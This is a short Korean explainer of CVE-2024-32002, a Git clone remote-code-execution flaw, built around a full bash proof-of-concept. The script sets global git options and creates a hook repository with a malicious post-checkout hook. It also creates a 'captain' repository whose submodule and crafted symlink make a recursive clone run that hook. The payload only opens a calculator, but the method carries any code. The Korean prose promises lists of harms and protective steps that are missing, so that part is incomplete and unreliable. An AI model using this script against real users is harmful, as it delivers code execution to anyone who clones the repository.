
CVE-2024-32002는 Git에서의 심각한 취약점으로, 사용자가 git clone 작업을 수행할 때 공격자가 원격에서 임의 코드를 실행(RCE)할 수 있도록 합니다.
Bash Script:
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# Avoid warning messages (set default branch to main)
git config --global init.defaultBranch main
# Define tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write malicious code to hook, compatible with Windows and macOS
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# Make hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create symbolic link
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# Local testing (not needed for GitHub)
git clone --recursive captain hooked
쉽게 설명하자면:
이 Bash 스크립트는 취약점(CVE-2024-32002)을 악용하여 누군가 리포지토리를 클론할 때 악성 코드를 실행하도록 설계된 악의적인 Git 리포지토리를 생성합니다.
다음은 스크립트가 수행하는 작업에 대한 설명입니다.
누군가 "captain" 리포지토리를 클론하면 악성 스크립트가 해당 컴퓨터에서 실행되어 잠재적으로 다음과 같은 해로운 결과를 초래할 수 있습니다.
이러한 공격으로부터 자신을 보호하려면 다음을 수행하십시오.
이러한 예방 조치를 따르면 유사한 공격의 피해자가 될 위험을 크게 줄일 수 있습니다.